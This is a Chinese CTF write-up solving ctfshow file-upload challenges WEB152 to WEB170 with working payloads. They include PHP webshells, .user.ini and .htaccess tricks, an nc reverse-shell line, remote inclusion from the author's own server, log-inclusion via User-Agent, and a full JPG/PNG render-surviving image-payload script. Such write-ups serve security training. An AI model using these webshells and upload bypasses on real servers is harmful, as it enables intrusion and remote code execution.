WEB152
后端校验的问题,只校验了Content-type,上传php一句话然后把Content-type改成image/png就行了
WEB153
这道题比较特殊的一点是访问/upload出现了一个nothing here,证明这里有index.php
莫名其妙地出现一个index.php,肯定是要利用的。利用方式就是上传.user.ini,这种方式只有在该目录下有php文件且能上传ini文件时才可以使用
官方文档:
注意,只有PHP_INI_PERDIR和PHP_INI_USER风格的配置文件才能被识别
哪些配置可以改参见:PHP: List of php.ini directives - Manual
其中,
是可以利用的,这个配置是指定该目录下php文件加载时自动包含哪个文件。
所以,只需要在.user.ini文件中写auto_prepend_file=1.txt,再上传1.txt,里面包含恶意php一句话即可
前端绕过,把js改成接收所有文件
后端绕过,是Content-Type加上php黑名单的后缀校验,上传.user.ini,再上传1.txt,里面写php一句话,再访问/upload/index.php即可拿到shell
事实告诉我们,一定要多尝试...
给个其它的骚操作,.user.ini是php的配置文件,所以是支持php伪协议的
那么可以上传auto_prepend_file=php://input,然后再访问index.php,同时POST区域注入php代码,是可以执行的。但是有限制,.user.ini是单个目录的配置文件,读取不了其它目录的文件。
但是可以反弹shell来扩展攻击面,这里我用nc是可以反弹的。注入代码:
<?php exec('nc ip port -e /bin/sh');?>
拿到shell之后就可以访问其它的目录了
WEB154、155
发现/upload/index.php还是有,思路一样。先绕过前端校验,方式没变
再上传.user.ini,Content-Type变成image/png绕过
还想上传1.txt的时候出了点问题,提示文件内容不合规,考虑是不是文件头,改了之后还是没成功,应该是对内容关键字做了过滤,测试了一下是过滤了php,<?php被过滤了,那用短标签绕过呗
<?= eval($_POST[1]);?>
上传成功拿shell就好
下面引用自羽师傅的文章CTFSHOW文件上传篇_羽的博客-CSDN博客_ctfshow 文件上传
对于php的标签其他写法,我们这里多说几种
1、
<? echo '123';?>
前提是开启配置参数short_open_tags=on
2、
<?=(表达式)?> 等价于 <?php echo (表达式)?>
不需要开启参数设置
3、
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容 <?=eval($_POST[1]);?>
WEB156
前面的操作差不多,但是应该是过滤了中括号,那就不写一句话,直接写system就行
注意可能要多刷几次才出来
1.txt内容:<?= system('tac ../f*');?>
也可以用大括号代替,比如<?= eval($_POST{1});?>
WEB157
过滤了分号,但其实也不需要分号,有?>结束标志就行了
<?= system('tac ../f*')?>
WEB158
整了个脚本
import requests url="http://be4afc5a-d2ab-4ea0-908c-534e10c2c988.challenge.ctf.show/" files={ 'file':('.user.ini',open('.user.ini','rb').read(),'image/png') #对key有校验,requests可以指定file的MIME等headers } r=requests.post(url=url+"upload.php",files=files) print(r.text) txt="<?= system('tac ../f*')?>" files={ 'file':("1.txt",txt,'image/png') } r=requests.post(url=url+"upload.php",files=files) print(r.text) r=requests.get(url=url+'upload/') r=requests.get(url=url+'upload/') r=requests.get(url=url+'upload/') print(r.text)
WEB159
过滤了括号,用反引号来绕过直接执行命令
1.txt内容:<?= `tac ../f*`?>
WEB160
这道题应该多过滤了空格和反引号,那只能使用print,include,require,echo这些不需要括号的函数。一般来说include用法较多也比较好用。
先说我的思路,貌似是个非预期。
要用include,想一下可不可以远程包含,但是allow_url_fopen和allow_url_include很可能是off。但是我们可以改配置啊,看看配置表,这两个选项是我们可以在自己上传的.user.ini里面改的
那就简单了,我们先在ini文件中加上
allow_url_fopen=1
allow_url_include=1
然后直接远程包含就可以了,脚本:
import requests url="http://0a86e31e-bb89-4614-a8fb-aafcf8b4d5f7.challenge.ctf.show/" files={ 'file':('.user.ini',open('.user.ini','rb').read(),'image/png') #文本文件 #对key有校验,requests可以指定file的MIME等headers } r=requests.post(url=url+"upload.php",files=files) print(r.text) txt="<?=include\"http://ip:port/1.txt\"?>" #include和双引号之间可以没有分隔,双引号本身分隔 #非预期,远程挂马,在ini中改设置 files={ 'file':("1.txt",txt,'image/png') } r=requests.post(url=url+"upload.php",files=files) print(r.text) r=requests.get(url=url+'upload/') r=requests.get(url=url+'upload/') r=requests.get(url=url+'upload/') print(r.text)
.user.ini:
auto_prepend_file=1.txt allow_url_fopen=1 allow_url_include=1
在自己vps上的1.txt里面写上命令即可
这道题的预期解是日志包含。我也想过,但是发现log关键字好像被过滤了就放弃了。其实是有绕过方法的,利用字符串拼接即可,php中用.来链接字符串,链接完成之后再执行,脚本:
import requests url = "http://0a86e31e-bb89-4614-a8fb-aafcf8b4d5f7.challenge.ctf.show/" files = { 'file': ('.user.ini', open('.user.ini', 'rb').read(), 'image/png') # 文本文件 # 对key有校验,requests可以指定file的MIME等headers } r = requests.post(url=url + "upload.php", files=files) print(r.text) txt = "<?=include\"/var/lo\".\"g/nginx/access.lo\".\"g\"?>" # include和双引号之间可以没有分隔,双引号本身分隔 # 非预期,远程挂马,在ini中改设置 files = { 'file': ("1.txt", txt, 'image/png') } r = requests.post(url=url + "upload.php", files=files) print(r.text) headers = { 'user-agent': 'SHELL<?php eval($_POST[1]);?>' # 小技巧:user-agent注入代码时,在前面加上一个特殊字符串做标记,这样后面回显结果时可以直接搜索这个字符串 # 来找到命令执行结果 } r = requests.get(url=url, headers=headers) r = requests.get(url=url + 'upload/') r = requests.get(url=url + 'upload/') print(r.text)
WEB161
加了GIF89A的图片头验证,但是png图片验证gif图片头这是否有点...
可能也就是个套路吧。
WEB162
这道题过滤了点,所以之前的方法不能用了。三种方法:
1.但是远程包含里面,IP中的点是可以用长IP来绕过的~
所以这道题仍然是可以远程包含的,但是待包含的文件必须是无后缀的。注意如果在index.php里面写入一句话然后不加文件名让服务器重定向到index.php是不行的,比如访问http://aa.com/,nginx会转发到http://aa.com/index.php,然而题目只请求一次,不跟踪转发,所以会失败,直接报400
可以配置Apache或者nginx的无后缀解析,我是直接用flask,这种可以自定义路由的服务器不会重定向,直接根据路由给内容。
官方文档:欢迎来到 Flask 的世界 — Flask 中文文档 (2.0.2) (dormousehole.readthedocs.io)
注意两点,一个是启动必须在含有你要启动的py文件的文件夹里面启动,二是注意放行端口
hello.py:
from flask import Flask app = Flask(__name__) @app.route("/") def hello_world(): return "<?php eval($_POST[1]);?>" if __name__ == "__main__": app.run(host='0.0.0.0', port=5000)
长IP绕过:IP地址进制转换 (520101.com),直接用十进制IP访问就行了,比如http://127.0.0.1就换成http://2130706433,端口啥的照常加就可以
.user.ini:
GIF89A auto_prepend_file=png allow_url_fopen=1 allow_url_include=1
png:
GIF89A <?=include"http://Decimal-IP:5000/"?>
2.预期解是session包含,之前也见过,自启动session然后直接包含session文件条件竞争。但是现在服务器有限制不能这么做...
3.因为括号和点这些关键字符没有肯定是没法执行命令的,那我们其实可以当无字母数字的RCE来做,没括号但是取反可以直接一步到位不用括号。
但是还有一个问题,取反的式子还需要一个命令执行函数来将结果解析,但是这里eval是没法用的,没括号。这个问题是可以解决的,因为我们有include,可以把取反的式子当做它的参数,同时利用伪协议data://text/plain来任意执行命令
还要注意一个细节,这里是直接上传的文件,服务器是不会帮你url解码的,需要手动解码之后把结果传上去。解码要使用bp自带的urldecode才能正确传递非ASCII字符,如果直接在IDE里面解码,由于IDE里面的url编码不全,会导致部分结果变成其他字符而无法正确执行
脚本:
<?php $str = "data://text/plain,<?php system('tac ../f*');?>"; $result1 = ""; for ($i = 0; $i < strlen($str); $i++) for($j=128;$j<=256;$j++) { if((~chr($j))==$str[$i]) { $result1.=chr($j); break; } } echo urlencode($result1);
结果:%9B%9E%8B%9E%C5%D0%D0%8B%9A%87%8B%D0%8F%93%9E%96%91%D3%C3%C0%8F%97%8F%DF%8C%86%8C%8B%9A%92%D7%D8%8B%9E%9C%DF%D1%D1%D0%99%D5%D8%D6%C4%C0%C1
放到bp里面url解码:
把结果复制到文件内容中,发包:
访问/upload/,拿到flag
WEB163
应该是上传之后直接删掉了,那就条件竞争(小心点应该没事:D),POST和GET同时发包拿到flag
WEB164
/upload没有了,那先尝试上传一个正常的png文件,惊喜地发现多了个查看图片的按钮,点进去看发现了download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png,文件名改了,还是个php文件,猜测可能是include引入的image参数制定的文件。在png里面加入php代码上传失败,多半是有二次渲染导致数据丢失或通不过验证。参考图片二次渲染的绕过_soldi_er的博客-CSDN博客_png二次渲染和Upload-Labs第Pass-16通关(二次渲染绕过) 详解 - 付杰博客 (fujieace.com),直接用一下国外大神的脚本:
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png');//后一个参数为你要覆盖的图片路径 ?>
利用一个正常的png图片就可以生成一个可以通过二次渲染还保留自身数据的图片马,代码在这里:
<?=$_GET[0]($_POST[1]);?>
上传图片马,查看图片界面已经引入成功,直接RCE即可。对于这种图片界面的源代码,可以使用F12开发者工具里面自带的页面源代码查看工具查看。
WEB165
题目上写的是改头换面2.0,限制变成了jpg文件,那显然就是变成了jpg二次渲染,还是刚刚那篇文章,上脚本:
<?php //使用:php poc.php xxx.jpg /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?php eval(\$_POST[1]);?>"; //插入的php代码,注意转义 if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
注意有些jpg文件不能成功,得多换几次。换成校徽.jpg就成功了,还是窝工NB(狗头)
我把图片发上来:
当然,也可以先下载渲染之后的图片(直接ctrl+S),这样再渲染保留的信息会更多一点
WEB166
只能上传zip文件,新建了个正常的zip文件在后面加代码,eval应该被过滤了,但是system这些全都能用,就不说了
zip文件头后面加上<?php phpinfo();system('tac ../f*');
报错应该关了,加个phpinfo是为了直接可以在网页上显示,方便点,但是直接下载下来也能看结果。搞定
WEB167
提示了httpd,盲猜上传配置文件.htaccess,貌似只有Content-Type校验,直接指定jpg文件当做php解析
AddType application/x-httpd-php .jpg
再上传一个jpg文件,里面写一句话,访问,搞定
当然,也可以用正则:
<FilesMatch "png"> SetHandler application/x-httpd-php </FilesMatch>
WEB168
有个坑确实没想到,上传之后那个下载文件的url是假的,上传的文件不在根目录里面而是在/upload/目录里面...大无语,经验不够积累吧...
其实这道题就是个关键字过滤,eval,system这些都没了,但是可以字符串拼接,甚至可以直接上传php文件,只有content-type校验也可以上传配置文件
我的payload:
<?php ("s"."ystem")('tac ../flagaa.php');
拼接之后可执行
附一下羽师傅的脚本:
<?php $a = "s#y#s#t#e#m"; $b = explode("#",$a); $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5]; $c($_REQUEST[1]); ?>
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
<?php $a=$_REQUEST['a']; $b=$_REQUEST['b']; $a($b); ?>
各种变量拼接、截取变化,反正只要不出现关键字就行了
WEB169、170
貌似连<都给过滤了,php代码都写不进去...
但是我们还可以上传配置文件,可以选择.user.ini,里面的auto_prepend_file是可以当做一个include来用的,甚至支持php伪协议(因为是php的配置文件)
include这里最好就是日志包含,直接上传.user.ini,内容auto_prepend_file=/var/log/nginx/access.log
然后上传1.php,里面不写php代码,再user-agent注入php代码,访问1.php即可拿到shell
参考文章:
CTFSHOW文件上传篇_羽的博客-CSDN博客_ctfshow 文件上传
php代码审计前奏之ctfshow之文件上传 - FreeBuf网络安全行业门户
文章评论